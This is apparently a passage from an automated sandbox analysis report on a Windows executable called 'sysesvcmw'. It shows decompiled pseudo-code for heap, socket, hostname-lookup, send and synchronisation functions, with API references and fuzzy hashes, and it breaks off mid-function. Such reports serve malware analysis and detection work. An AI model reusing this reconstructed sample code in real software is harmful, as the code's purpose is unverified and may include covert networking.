0x00408ad2
0x00408ae4
0x00408ae9
0x00408ad2
0x00408ab7
0x00408af2

APIs

Part of subcall function 00408850: GetCurrentProcessId.KERNEL32(?,00408A6B,?,0040B05E,00000010,?,?,?,?,?,?,0040B17B), ref: 00408853

RtlAllocateHeap.NTDLL(01E90000,?,-0000000C), ref: 00408AAA
memset.NTDLL ref: 00408AE4

Part of subcall function 004089C0: HeapCreate.KERNEL32(00000000,00000000,00000000,?,?,00408A77,?,0040B05E,00000010,?,?,?,?,?,?,0040B17B), ref: 004089EC
Part of subcall function 004089C0: HeapSetInformation.KERNEL32(01E90000,00000000,00000002,00000004), ref: 00408A16
Part of subcall function 004089C0: GetCurrentProcessId.KERNEL32 ref: 00408A1C

Memory Dump Source

Source File: 00000005.00000002.889526747.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.889522847.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889535533.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889540457.0000000000414000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889544585.0000000000415000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889548589.0000000000416000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: Heap$CurrentProcess$AllocateCreateInformationmemset
String ID:
API String ID: 3494217179-0
Opcode ID: 918da07aa680028be3a046f7582c1784076b1d226c4f3b680462cfcc4b85c13f
Instruction ID: 8e310b335623aaed64947648ed186bccf68bbf4011d86d547a464b5e017e9876
Opcode Fuzzy Hash: 918da07aa680028be3a046f7582c1784076b1d226c4f3b680462cfcc4b85c13f
Instruction Fuzzy Hash: F11100B5E10108BBCB10EFA5D945B9E7BB8AF44304F00C56EF548AB381DA399A54CF99

Uniqueness

Uniqueness Score: -1.00%

Function 0040BF10 Relevance: 3.0, APIs: 2, Instructions: 49
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E0040BF10(void* __ecx, void* __edi) {
				intOrPtr* _v8;
				LONG* _v12;
				short _v16;
				long _v20;
				void* __ebx;
				intOrPtr* _t13;
				LONG* _t14;
				void* _t23;
				intOrPtr _t27;
				void* _t29;
				void* _t30;

				_t28 = __edi;
				_t23 = __ecx;
				_push(0);
				_t13 = E0040DD70(__edi);
				_t30 = _t29 + 4;
				_v8 = _t13;
				if(_v8 != 0) {
					do {
						_t14 = E00409C80(_t23); // executed
						_v12 = _t14;
						if(_v12 != 0 && InterlockedExchangeAdd(_v12, 0) == 0) {
							_v20 = _v12[1];
							_v16 = 0x9e34;
							_t27 =  *0x416e14; // 0x2640ab6
							E0040A0B0(_v8, 0, _t27, 0, 0, E0040BE90,  &_v20); // executed
							_t30 = _t30 + 0x1c;
						}
						_t23 =  *0x416e0c; // 0x3ac
					} while (WaitForSingleObject(_t23, 0x1388) == 0x102);
					return E0040DD00(_v8, _t28);
				}
				return _t13;
			}

0x0040bf10
0x0040bf10
0x0040bf17
0x0040bf19
0x0040bf1e
0x0040bf21
0x0040bf28
0x0040bf2a
0x0040bf2a
0x0040bf2f
0x0040bf36
0x0040bf4e
0x0040bf56
0x0040bf67
0x0040bf74
0x0040bf79
0x0040bf79
0x0040bf81
0x0040bf8e
0x00000000
0x0040bf98
0x0040bfa1

APIs

Part of subcall function 0040DD70: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,?,0040BF1E,00000000), ref: 0040DD95
Part of subcall function 0040DD70: socket.WS2_32(00000002,00000002,00000011), ref: 0040DDA4
Part of subcall function 0040DD70: bind.WS2_32(?,?,00000010), ref: 0040DDE5

Part of subcall function 00409C80: EnterCriticalSection.KERNEL32(00416DF4), ref: 00409C90
Part of subcall function 00409C80: LeaveCriticalSection.KERNEL32(00416DF4), ref: 00409CBC

InterlockedExchangeAdd.KERNEL32(00000000,00000000), ref: 0040BF3E
WaitForSingleObject.KERNEL32(000003AC,00001388), ref: 0040BF88

Memory Dump Source

Source File: 00000005.00000002.889526747.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.889522847.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889535533.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889540457.0000000000414000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889544585.0000000000415000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889548589.0000000000416000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: CriticalSection$CreateEnterEventExchangeInterlockedLeaveObjectSingleWaitbindsocket
String ID:
API String ID: 3920643007-0
Opcode ID: 19a0958d789b2e919d652272b4e37f6a74e54db78d6ce96edb739a32a7dea317
Instruction ID: 648c52171a8fbe3fe6feb21857c8d7e76139b4b5e8df0efcfa8b64a264538ae9
Opcode Fuzzy Hash: 19a0958d789b2e919d652272b4e37f6a74e54db78d6ce96edb739a32a7dea317
Instruction Fuzzy Hash: 97015E74A00308ABE700EBA4DC46BAF7774EB44704F1081A9E500A72D2E7799E54CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00409770 Relevance: 3.0, APIs: 2, Instructions: 40
networkCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E00409770(intOrPtr _a4) {
				char _v260;
				char _v261;
				int _v268;
				signed int _v272;
				int _t23;

				_v261 = 0;
				_t23 = gethostname( &_v260, 0x100); // executed
				if(_t23 != 0xffffffff) {
					__imp__#52( &_v260); // executed
					_v268 = _t23;
					if(_v268 != 0) {
						_v272 = 0;
						while( *((intOrPtr*)( *((intOrPtr*)(_v268 + 0xc)) + _v272 * 4)) != 0) {
							if( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v268 + 0xc)) + _v272 * 4)))) != _a4) {
								_v272 = _v272 + 1;
								continue;
							} else {
								_v261 = 1;
							}
							goto L8;
						}
					}
				}
				L8:
				return _v261;
			}

0x00409779
0x0040978c
0x00409795
0x0040979e
0x004097a4
0x004097b1
0x004097b3
0x004097ce
0x004097fa
0x004097c8
0x00000000
0x004097fc
0x004097fc
0x004097fc
0x00000000
0x004097fa
0x004097ce
0x004097b1
0x00409807
0x00409810

APIs

gethostname.WS2_32(?,00000100), ref: 0040978C
gethostbyname.WS2_32(?), ref: 0040979E

Memory Dump Source

Source File: 00000005.00000002.889526747.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.889522847.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889535533.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889540457.0000000000414000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889544585.0000000000415000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889548589.0000000000416000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: gethostbynamegethostname
String ID:
API String ID: 3961807697-0
Opcode ID: eb893bff08e524b36e97ab5ca210c721b70d17d083af003deee559585d4ddd17
Instruction ID: 65cb2ebeac570fdb7be8355f4723dba2d2731c0c762421a013589ef226fc7477
Opcode Fuzzy Hash: eb893bff08e524b36e97ab5ca210c721b70d17d083af003deee559585d4ddd17
Instruction Fuzzy Hash: 64115A34918218DBCB64DF14CC48BE8B771AB66314F2482EAD48867381C7F8AEC1CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00409500 Relevance: 3.0, APIs: 2, Instructions: 24networkCOMMON

Download Yara Rule

APIs

inet_addr.WS2_32(00409581), ref: 0040950A
gethostbyname.WS2_32(?), ref: 0040951D

Memory Dump Source

Source File: 00000005.00000002.889526747.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.889522847.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889535533.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889540457.0000000000414000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889544585.0000000000415000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889548589.0000000000416000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: gethostbynameinet_addr
String ID:
API String ID: 1594361348-0
Opcode ID: 9acd8b2a8a8d593d198362a6ebe3c3f412451466b0b7d0de7c8cc9d5a791ca49
Instruction ID: 51404770cc1fb97e8cfb6976ea5a0f5fedc69e609ab8221a9dbf76d352b768f8
Opcode Fuzzy Hash: 9acd8b2a8a8d593d198362a6ebe3c3f412451466b0b7d0de7c8cc9d5a791ca49
Instruction Fuzzy Hash: 26F01C79900208EFCB00DFA5E8888DDBBB4FB48311F60C2A9E905673A0D7749E81DB84

Uniqueness

Uniqueness Score: -1.00%

Function 00409620 Relevance: 3.0, APIs: 2, Instructions: 16
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00409620() {
				void* _t1;
				long _t2;

				while(1) {
					_t1 =  *0x416e0c; // 0x3ac
					_t2 = WaitForSingleObject(_t1, 0x3e8);
					if(_t2 != 0x102) {
						break;
					}
					if(InterlockedDecrement(0x4143b4) == 0) {
						E00409750(); // executed
					}
				}
				return _t2;
			}

0x00409623
0x00409628
0x0040962e
0x00409639
0x00000000
0x00000000
0x00409648
0x0040964a
0x0040964a
0x0040964f
0x00409652

APIs

WaitForSingleObject.KERNEL32(000003AC,000003E8), ref: 0040962E
InterlockedDecrement.KERNEL32(004143B4), ref: 00409640

Memory Dump Source

Source File: 00000005.00000002.889526747.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.889522847.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889535533.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889540457.0000000000414000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889544585.0000000000415000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889548589.0000000000416000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: DecrementInterlockedObjectSingleWait
String ID:
API String ID: 4086267124-0
Opcode ID: 478a9d0d562e1264af23f328ca211e277cb6946006caf7cece0c832852851f44
Instruction ID: 5664ed682fcd5090606154bfc7ee4006f242b32a92ea5b5f5687bbc862b9098a
Opcode Fuzzy Hash: 478a9d0d562e1264af23f328ca211e277cb6946006caf7cece0c832852851f44
Instruction Fuzzy Hash: 7AD0A73130030897C58027A1EC4AF5A374C9721B00F108833F504E52C2C6FECC90876D

Uniqueness

Uniqueness Score: -1.00%

Function 00409600 Relevance: 3.0, APIs: 2, Instructions: 11COMMON

Download Yara Rule

APIs

shutdown.WS2_32(004095ED,00000002), ref: 00409609
closesocket.WS2_32(004095ED), ref: 00409613

Memory Dump Source

Source File: 00000005.00000002.889526747.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.889522847.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889535533.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889540457.0000000000414000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889544585.0000000000415000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889548589.0000000000416000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: closesocketshutdown
String ID:
API String ID: 572888783-0
Opcode ID: 71ddab89dd3559e3a1cc8f64f726bb8391bb700e1b5d5c06a1592205e9a26df1
Instruction ID: 8b9c54165bc6db8fc7019d331c3f5ccf6eb5e8133a4e2c667aa1631c2abcc5d3
Opcode Fuzzy Hash: 71ddab89dd3559e3a1cc8f64f726bb8391bb700e1b5d5c06a1592205e9a26df1
Instruction Fuzzy Hash: 9DC08C7510430CBBCB00AFA0EC0DDD93B6CEB08240F008050FE098B241CAB2E8808B94

Uniqueness

Uniqueness Score: -1.00%

Function 00409C80 Relevance: 2.5, APIs: 2, Instructions: 20
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E00409C80(void* __ecx) {
				intOrPtr _v8;
				intOrPtr _t7;
				signed int _t8;

				_t9 = __ecx;
				_push(__ecx);
				_v8 = 0;
				EnterCriticalSection(0x416df4);
				if( *0x416e2c != 0) {
					_t7 =  *0x416e2c; // 0x200
					_t8 = E0040A8B0(_t9, _t7); // executed
					_v8 =  *((intOrPtr*)(0x416e30 + _t8 * 4));
				}
				LeaveCriticalSection(0x416df4);
				return _v8;
			}

0x00409c80
0x00409c83
0x00409c84
0x00409c90
0x00409c9d
0x00409c9f
0x00409ca5
0x00409cb4
0x00409cb4
0x00409cbc
0x00409cc8

APIs

EnterCriticalSection.KERNEL32(00416DF4), ref: 00409C90
LeaveCriticalSection.KERNEL32(00416DF4), ref: 00409CBC

Memory Dump Source

Source File: 00000005.00000002.889526747.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.889522847.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889535533.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889540457.0000000000414000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889544585.0000000000415000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889548589.0000000000416000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: a9d5fdad13c368d851724b758faa1f6e41f7645bce029cf707cb3ba4fe358686
Instruction ID: 3300fd0fa792e31f75c2b6288bd5323b580414e8241ba1a5816d1c0f679683c1
Opcode Fuzzy Hash: a9d5fdad13c368d851724b758faa1f6e41f7645bce029cf707cb3ba4fe358686
Instruction Fuzzy Hash: D0E01AB5A01308ABD704EB94FD0AB997BB6A708704F1181B9E80453391D7BAAE90CB5D

Uniqueness

Uniqueness Score: -1.00%

Function 00409750 Relevance: 2.5, APIs: 2, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00409750() {
				void* _t1;
				void* _t2;

				EnterCriticalSection(0x416df4); // executed
				_t2 = E00409660(_t1); // executed
				LeaveCriticalSection(0x416df4);
				return _t2;
			}

0x00409758
0x0040975e
0x00409768
0x0040976f

APIs

EnterCriticalSection.KERNEL32(00416DF4,?,00409E77), ref: 00409758
LeaveCriticalSection.KERNEL32(00416DF4,?,00409E77), ref: 00409768

Memory Dump Source

Source File: 00000005.00000002.889526747.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.889522847.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889535533.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889540457.0000000000414000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889544585.0000000000415000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889548589.0000000000416000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: a60cb618b6fcdc4824e79190f1afbed426b092c29353e116cc782c13ad69a138
Instruction ID: 3d715cb22e8ea6341619d55454cd054b9d9118da8f44f8f672b1f298bfe5042e
Opcode Fuzzy Hash: a60cb618b6fcdc4824e79190f1afbed426b092c29353e116cc782c13ad69a138
Instruction Fuzzy Hash: BFB09B3138120D7BC10037B2FC0B9C4376D96047153114076B405500538EFF54C1455D

Uniqueness

Uniqueness Score: -1.00%

Function 0040B480 Relevance: 1.5, APIs: 1, Instructions: 32networkCOMMON

Download Yara Rule

APIs

send.WS2_32(00000000,00000000,?,00000000), ref: 0040B49F

Memory Dump Source

Source File: 00000005.00000002.889526747.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.889522847.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889535533.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889540457.0000000000414000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889544585.0000000000415000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889548589.0000000000416000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: send
String ID:
API String ID: 2809346765-0
Opcode ID: 3a2ba7345e16d0148971b2019405c9993db53bf2c462389d472c84b3271c0376
Instruction ID: 0943c11d22ace0310dc8bedf9b54c671e7509ab6556b880e7e43a86ebd11e324
Opcode Fuzzy Hash: 3a2ba7345e16d0148971b2019405c9993db53bf2c462389d472c84b3271c0376
Instruction Fuzzy Hash: 6C013C3490424DEFCB00CFA8C884BDE7BB4FB08304F1085A9EC55A7381D775A695CB95

Uniqueness

Uniqueness Score: -1.00%

Function 0040B8A0 Relevance: 1.5, APIs: 1, Instructions: 25
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E0040B8A0(void* __ecx) {
				LONG* _v8;
				LONG* _t4;
				signed char _t5;
				void* _t10;

				_t8 = __ecx;
				_push(__ecx); // executed
				while(1) {
					_t4 = E00409C80(_t8); // executed
					_v8 = _t4;
					if(_v8 != 0) {
						E0040B700(_v8, 0); // executed
						_t10 = _t10 + 8;
					}
					_t8 =  *0x416e0c; // 0x3ac
					_t5 = WaitForSingleObject(_t8, 0x1388);
					if(_t5 != 0x102) {
						break;
					}
					_t5 = E00409EB0();
					if((_t5 & 0x000000ff) == 0) {
						continue;
					}
					break;
				}
				return _t5;
			}

0x0040b8a0
0x0040b8a3
0x0040b8a4
0x0040b8a4
0x0040b8a9
0x0040b8b0
0x0040b8b8
0x0040b8bd
0x0040b8bd
0x0040b8c5
0x0040b8cc
0x0040b8d7
0x00000000
0x00000000
0x0040b8d9
0x0040b8e3
0x00000000
0x00000000
0x00000000
0x0040b8e3
0x0040b8e8

APIs

Part of subcall function 00409C80: EnterCriticalSection.KERNEL32(00416DF4), ref: 00409C90
Part of subcall function 00409C80: LeaveCriticalSection.KERNEL32(00416DF4), ref: 00409CBC

WaitForSingleObject.KERNEL32(000003AC,00001388), ref: 0040B8CC

Part of subcall function 0040B700: InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 0040B70C

Memory Dump Source

Source File: 00000005.00000002.889526747.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.889522847.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889535533.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889540457.0000000000414000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889544585.0000000000415000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889548589.0000000000416000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterExchangeInterlockedLeaveObjectSingleWait
String ID:
API String ID: 3309573332-0
Opcode ID: 2fc1f42d96d65b8328a9b9c597bf448764fd98d6a80d87194b77a64c7ee2843b
Instruction ID: efa3576df14e11bfc6155eae5cdafd2df28e95e4285d6ef1167b438f43f5b0f7
Opcode Fuzzy Hash: 2fc1f42d96d65b8328a9b9c597bf448764fd98d6a80d87194b77a64c7ee2843b
Instruction Fuzzy Hash: A7E092B1900308A6D714E7A19C06B9F7369DB50305F14807AF900762D2DB7E9E44D3DC

Uniqueness

Uniqueness Score: -1.00%

Function 004058C0 Relevance: 1.5, APIs: 1, Instructions: 23comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00000000,00000000,00004401,00000000,00000000), ref: 004058E0

Memory Dump Source

Source File: 00000005.00000002.889526747.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.889522847.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889535533.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889540457.0000000000414000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889544585.0000000000415000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889548589.0000000000416000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: 752613992cec3424fc6ca12a41fd8d19352ac516dba71492bf2cb6d9fba5c085
Instruction ID: 7816046bdeee9aa600e7d84e322e250ab42cf7bed1fe902a3a89055fcaf0bfc5
Opcode Fuzzy Hash: 752613992cec3424fc6ca12a41fd8d19352ac516dba71492bf2cb6d9fba5c085
Instruction Fuzzy Hash: 29E0ED7590020CFFDF00DF94C889BDEBBB8EB08315F10C1A9E90467280D7B55A94DB95

Uniqueness

Uniqueness Score: -1.00%

Function 00407DD0 Relevance: 1.4, APIs: 1, Instructions: 125
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E00407DD0(intOrPtr _a4, intOrPtr* _a8, signed int _a12, intOrPtr _a16) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _t90;
				intOrPtr _t109;
				intOrPtr _t110;
				signed int _t120;
				intOrPtr _t137;
				signed int _t138;
				intOrPtr _t143;
				void* _t144;

				if(_a8 != 0) {
					if( *((intOrPtr*)(_a8 + 0x10c)) != 0) {
						if(_a12 >= 0) {
							if(_a12 < 0x1c) {
								_t109 = _a8;
								asm("adc eax, 0x0");
								_t110 = _a8;
								 *((intOrPtr*)(_t110 + 0x118)) =  *((intOrPtr*)(_t109 + 0x118)) + 1;
								 *((intOrPtr*)(_t110 + 0x11c)) =  *((intOrPtr*)(_t109 + 0x11c));
								if(_a12 == 1) {
									if(_a12 >=  *((intOrPtr*)(_a8 + 0x16c)) + 1) {
										_t23 = (_a12 << 9) + 0x1f8; // 0x1f8
										E00407A40(_a12 << 9, _a8 + _t23, 0x30);
										_t144 = _t144 + 8;
									} else {
										_t19 = (_a12 << 9) + 0x178; // 0x178
										E00407A40(_a12 << 9, _a8 + _t19, 0x40);
										_t144 = _t144 + 8;
									}
								}
								_v8 = 0x1000 -  *(_a8 + 0x3b78 + _a12 * 4);
								_t33 = (_a12 << 9) + 0x178; // 0x178
								_t90 = E00407730(_a4, 0x4110a8, _a8 + 0x128, _a12,  *((intOrPtr*)(_a8 + 0x3bf0 + _a12 * 8)),  *((intOrPtr*)(_a8 + 0x170)),  *((intOrPtr*)(_a8 + 0x16c)), _a16, _v8,  *((intOrPtr*)(_a8 + 0x168)),  *_a8, _a8 + _t33); // executed
								_v12 = _t90;
								if(_v12 == 0) {
									 *(_a8 + 0x3b78 + _a12 * 4) = 0;
									_t120 = _a12;
									_t137 = _a8;
									asm("adc ecx, 0x0");
									_t138 = _a12;
									_t143 = _a8;
									 *((intOrPtr*)(_t143 + 0x3bf0 + _t138 * 8)) =  *((intOrPtr*)(_t137 + 0x3bf0 + _t120 * 8)) + 1;
									 *((intOrPtr*)(_t143 + 0x3bf4 + _t138 * 8)) =  *((intOrPtr*)(_t137 + 0x3bf4 + _t120 * 8));
									_t78 = (_a12 << 9) + 0x178; // 0x178
									memset(_a8 + _t78, 0, 0x200);
									return 0;
								} else {
									return _v12;
								}
							}
							return 7;
						}
						return 6;
					}
					return 5;
				}
				return 3;
			}

0x00407ddb
0x00407df1
0x00407e01
0x00407e11
0x00407e1d
0x00407e2f
0x00407e32
0x00407e35
0x00407e3b
0x00407e45
0x00407e56
0x00407e80
0x00407e88
0x00407e8d
0x00407e58
0x00407e63
0x00407e6b
0x00407e70
0x00407e70
0x00407e56
0x00407ea2
0x00407eae
0x00407f06
0x00407f0e
0x00407f15
0x00407f22
0x00407f2d
0x00407f30
0x00407f44
0x00407f47
0x00407f4a
0x00407f4d
0x00407f54
0x00407f6b
0x00407f73
0x00000000
0x00407f17
0x00000000
0x00407f17
0x00407f15
0x00000000
0x00407e13
0x00000000
0x00407e03
0x00000000
0x00407df3
0x00000000

Memory Dump Source

Source File: 00000005.00000002.889526747.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.889522847.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889535533.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889540457.0000000000414000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889544585.0000000000415000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889548589.0000000000416000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eab46de57b716372fa8e45db85e8d0b0ca98770621bbc4f1f376e9e850becdfa
Instruction ID: 00411f99aa306340168d7e6a15dd4c4228c0ff99c90915b9e83544fa731dbb59
Opcode Fuzzy Hash: eab46de57b716372fa8e45db85e8d0b0ca98770621bbc4f1f376e9e850becdfa
Instruction Fuzzy Hash: BC514C74A0420A9BDB04CF08C895FEA73A5FF48318F10857AF9299B381D735EA52CB85

Uniqueness

Uniqueness Score: -1.00%

Function 00409F60 Relevance: 1.3, APIs: 1, Instructions: 90
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00409F60(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32) {
				signed int* _v8;
				signed int* _v12;
				signed int _t30;
				void* _t33;
				void* _t34;
				void* _t36;
				void* _t37;
				signed int _t39;
				void* _t41;
				void* _t42;
				intOrPtr _t44;
				void* _t45;
				void* _t46;
				void* _t47;
				void* _t48;
				void* _t50;
				void* _t53;
				intOrPtr _t58;
				signed int _t63;
				void* _t65;
				void* _t67;
				void* _t69;
				void* _t75;
				void* _t76;
				void* _t77;
				void* _t78;
				void* _t79;
				intOrPtr _t86;

				_t30 =  *0x417634; // 0x1
				if((_t30 & 0x00000001) == 0) {
					_t63 =  *0x417634; // 0x1
					 *0x417634 = _t63 | 0x00000001;
					_t47 = E00408B00(0xffffe4); // executed
					_t78 = _t78 + 4;
					 *0x417630 = _t47;
				}
				_t65 =  *0x417630; // 0x4660028
				memset(_t65, 0, 0xffffe4);
				_t79 = _t78 + 0xc;
				_t33 =  *0x417630; // 0x4660028
				 *((intOrPtr*)(_t33 + 0xc)) = 1;
				_t48 =  *0x417630; // 0x4660028
				 *((intOrPtr*)(_t48 + 0x10)) = _a12;
				_t34 =  *0x417630; // 0x4660028
				 *((intOrPtr*)(_t34 + 8)) = _a16;
				_t67 =  *0x417630; // 0x4660028
				 *((intOrPtr*)(_t67 + 0x18)) = _a20;
				_t50 =  *0x417630; // 0x4660028
				 *((intOrPtr*)(_t50 + 0x14)) = 0xc;
				if(_a12 == 0) {
					_t69 =  *0x417630; // 0x4660028
					_v8 = _t69 + 0x20;
					if(_a24 == 0) {
						_t42 =  *0x417630; // 0x4660028
						_t44 = E00409820(_a8, _t42 + 0x20);
						_t79 = _t79 + 8;
						_t76 =  *0x417630; // 0x4660028
						 *((intOrPtr*)(_t76 + 0x1c)) = _t44;
						_t45 =  *0x417630; // 0x4660028
						_t77 =  *0x417630; // 0x4660028
						_t46 =  *0x417630; // 0x4660028
						 *((intOrPtr*)(_t46 + 0x14)) =  *(_t45 + 0x1c) * 0xc +  *((intOrPtr*)(_t77 + 0x14));
					}
					_t53 =  *0x417630; // 0x4660028
					_v8 =  *(_t53 + 0x1c) * 0xc + _v8;
					_v12 = _v8;
					_t39 = E00404720( &(_v12[1]), 0xffff);
					_t79 = _t79 + 8;
					 *_v12 = _t39;
					_t75 =  *0x417630; // 0x4660028
					_t58 = ( *_v12 << 8) +  *((intOrPtr*)(_t75 + 0x14));
					_t86 = _t58;
